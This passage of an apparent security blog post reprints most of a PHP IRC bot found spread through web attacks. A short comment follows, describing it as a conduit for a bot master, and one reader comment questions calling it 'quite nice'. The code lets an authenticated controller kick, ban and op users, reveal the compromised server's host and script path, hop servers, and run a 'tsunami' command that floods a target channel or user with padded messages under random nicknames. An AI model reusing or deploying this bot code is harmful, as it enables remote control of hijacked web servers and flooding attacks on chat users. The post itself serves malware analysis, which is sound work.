  fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', _PING!_ '.$sml. CRL);
  }
  elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
  $bhost = $SERVER['HTTPHOST'];
  $bphp = $SERVER['PHPSELF'];
  fputs($fp,'NOTICE '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
  }
  elseif ($com[3]==':`up' && $chan) {
  fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
  }
  elseif ($com[3]==':`down' && $chan) {
  fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
  }
  elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
  $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  fputs($fp, 'NICK '.$nicktsu . CRL);
  if (substr($dCommand,0,3)=='433') {
  $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  fputs($fp, 'NICK '.$nicktsu . CRL);
  }
  $msg = strstr($data,":`tsunami");
  $msg = str_replace(":`tsunami $com[4]","",$msg);
  if (ereg("#", $com[4])) {
  fputs($fp, 'JOIN '.$com[4] . CRL);
  }
  fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'__________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'___________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'____________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'__________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'___________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'____________________________________________________________________________________________________________________________________________________________________________________________________________________________________' . CRL);
  if (ereg("", $com[4])) {
  fputs($fp, 'PART '.$com[4].' :Complete' . CRL);
  fputs($fp, 'NICK '.$nick . CRL);
  } else {
  fputs($fp, 'NICK '.$nick . CRL);
  }
  }
  elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
  $msg = strstr($data,":`cycle");
  if (ereg("", $com[4])) {
  $partchan = $com[4];
  $msg = str_replace(":`cycle $com[4]","",$msg);
  } else {
  $partchan = $chan;
  $msg = str_replace(":`cycle","",$msg);
  }
  if (strlen($msg)<3) {
  $msg = '';
  }
  fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  fputs($fp, 'JOIN '.$partchan . CRL);
  }
  elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") {
  $msg = strstr($data,":`part");
  if (ereg("#", $com[4])) {
  $partchan = $com[4];
  $msg = strreplace(":`part $com[4]","",$msg);
  } else {
  $partchan = $chan;
  $msg = str_replace(":`part","",$msg);
  }
  if (strlen($msg)<3) {
  $msg = '';
  }
  fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  $remchan = strtolower($partchan);
  if (inarray($remchan, $channel)) {
  $channels = str_replace("$remchan ","",$channels);
  unset($channel);
  $channel = explode(" ", $channels);
  }
  foreach ($channel as $v) {
  fputs($fp, 'JOIN '.$v . CRL);
  }
  }
  elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  if (!ereg("",$com[4])) { $com[4]="".$com[4]; }
  $addchan = strtolower($com[4]);
  if (!in_array($addchan, $channel)) {
  $channel[]=$addchan;
  $channels.="$addchan ";
  }
  foreach ($channel as $v) {
  sleep(rand(1,6));
  fputs($fp, 'JOIN '.$v . CRL);
  }
  }
  elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
  $nick = $com[4];
  $identify = $com[5];
  fputs($fp, 'NICK '.$nick . CRL);
  fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
  }
  elseif ($com[3]==':`k' && $com[4] && $chan) {
  $msg = strstr($data,":`k");
  $msg = str_replace(":`k $com[4]","",$msg);
  fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  }
  elseif ($com[3]==':`kb' && $com[4] && $chan) {
  $msg = strstr($data,":`kb");
  $msg = str_replace(":`kb $com[4]","",$msg);
  fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
  }
  elseif ($com[3]==':`ganti') {
  $nick = $nicky[rand(0,count($nicky) - 1)];
  fputs($fp, 'NICK '.$nick . CRL);
  if (substr($dCommand,0,3)=='433') {
  $nick = $nicky[rand(0,count($nicky) - 1)];
  fputs($fp, 'NICK '.$nick . CRL);
  }
  }
  elseif ($com[3]==':`op' && $chan) {
  if ($com[4]) { $opnick = $com[4]; }
  else { $opnick = $dNick; }
  fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  }
  elseif ($com[3]==':`deop' && $chan) {
  if ($com[4]) { $opnick = $com[4]; }
  else { $opnick = $dNick; }
  fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  }
  elseif ($com[3]==':`v' && $chan) {
  if ($com[4]) { $vonick = $com[4]; }
  else { $vonick = $dNick; }
  fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  }
  elseif ($com[3]==':`dv' && $chan) {
  if ($com[4]) { $vonick = $com[4]; }
  else { $vonick = $dNick; }
  fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  }
  elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
  $msg = strstr($data,":`awaymsg");
  $msg = str_replace(":`awaymsg","",$msg);
  if (strlen($msg)<3) {
  $raway="on";
  fputs($fp,'AWAY : ' . 'AWAY' . CRL);
  } else {
  $raway="off";
  fputs($fp,'AWAY : ' . $msg . CRL);
  }
  }
  elseif ($com[3]==':`mode' && $com[4] && $chan) {
  fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
  }
  elseif ($com[3]==':`nickmode' && $com[4]) {
  $nickmode = $com[4];
  fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
  }
  elseif ($com[3]==':`chanlist') {
  fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
  }
  elseif ($com[3]==':`userlist') {
  $userlist="";
  foreach ($auth as $user) {
  if ($user["pass"]) { $pass="-pass ok"; }
  else { $pass="-no pass"; }
  $userlist .= $user["name"].'('.$user["status"].$pass.') ';
  }
  fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
  }
  elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
  $msg = strstr($data,":`quit");
  $msg = str_replace(":`quit","",$msg);
  if (strlen($msg)>3) {
  $msg = str_replace(" ","",$msg);
  }
  $quit1 = array("ngantor","nguantuk","sama","brb","byeall","s33_you","excess_flood","pingtimeout","hehe","bye","mandi","makan","muuah","quit","conection_reset_bay_peer","banned","part","leaving","ada_deh","call_me","wew","toronto.hub.dal.net_brodway.dal.net","no_komen","restart");
  $quitmsg = $quit1[rand(0,count($quit1) - 1)];
  fputs($fp, 'QUIT ' . $quitmsg . CRL);
  $keluar = 1;
  exit;
  }
  elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
  if ($com[4]) { $localhost = $com[4]; }
  else { $localhost = 'localhost'; }
  $keluar = 0;
  fputs($fp, 'QUIT ' . CRL);
  }
  elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
  if (!eregi(".dal.net",$com[4])) {
  $remotehost = "irc.dal.net";
  } else { $remotehost = $com[4]; }
  $keluar = 0;
  fputs($fp, 'QUIT changging_server' . CRL);
  }
  elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
  if (!$com[4]) {
  $username = $username;
  } else { $username = $com[4]; }
  $keluar = 0;
  fputs($fp, 'QUIT ganti_ident' . CRL);
  }
  elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
  if (!$com[4]) {
  $realname = "--";
  } else { $realname = $com[4]; }
  $keluar = 0;
  fputs($fp, 'QUIT ganti_fullname' . CRL);
  }
  elseif ($com[3]==':`topic' && $com[4] && $chan) {
  $msg = strstr($data,":`topic");
  $msg = str_replace(":`topic ","",$msg);
  fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
  }
  elseif ($com[3]==':!help' && !$chan) {
  fputs($fp,'PRIVMSG '.$dNick.' :Secret Help' . CRL);
  }
  } else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
  }
  }
  elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
  if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join ",$iText)) {
  if (!ereg("",$dCommand)) {
  if ($log=="on") {
  fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
  }
  $inv = strstr($dFrom,'@');
  foreach ($auth as $user) {
  if ($user["status"]=="user") {
  fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
  }
  }
  }
  }
  elseif (!ereg("#",$dCommand)) {
  if ($log=="on") {
  fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
  }
  }
  }
  }
  }
  elseif (substr($data,0,4) == 'PING') {
  fputs($fp,'PONG ' . substr($data,5) . CRL);
  $smile = $querym[rand(0,count($querym) - 1)];
  $kata1 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  $kata2 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  fputs($fp,'PRIVMSG #whatz :' . $kata1 . ' ' . $kata2 . $smile . CRL);
  }
  }
  }
  fclose ($fp);
} while ($keluar==0);
}
working($nick);
?>
Yes, that’s right Nancy, it’s an IRC bot coded in PHP! Quite nice. It appears to give a conduit to a bot master, probably used to upload and execute new scripts. Fortunately, most sites aren’t vulnerable to this relatively old attack. It is interesting, though, that the attacks are clearly aimed at certain types of software that are apparently perceived as vulnerable by the miscreant that is spreading this gunk.
One comment
Why do think this is “quite nice”?
Leave a Comment:
You must be logged in to post a comment.
Pages
Categories
Tags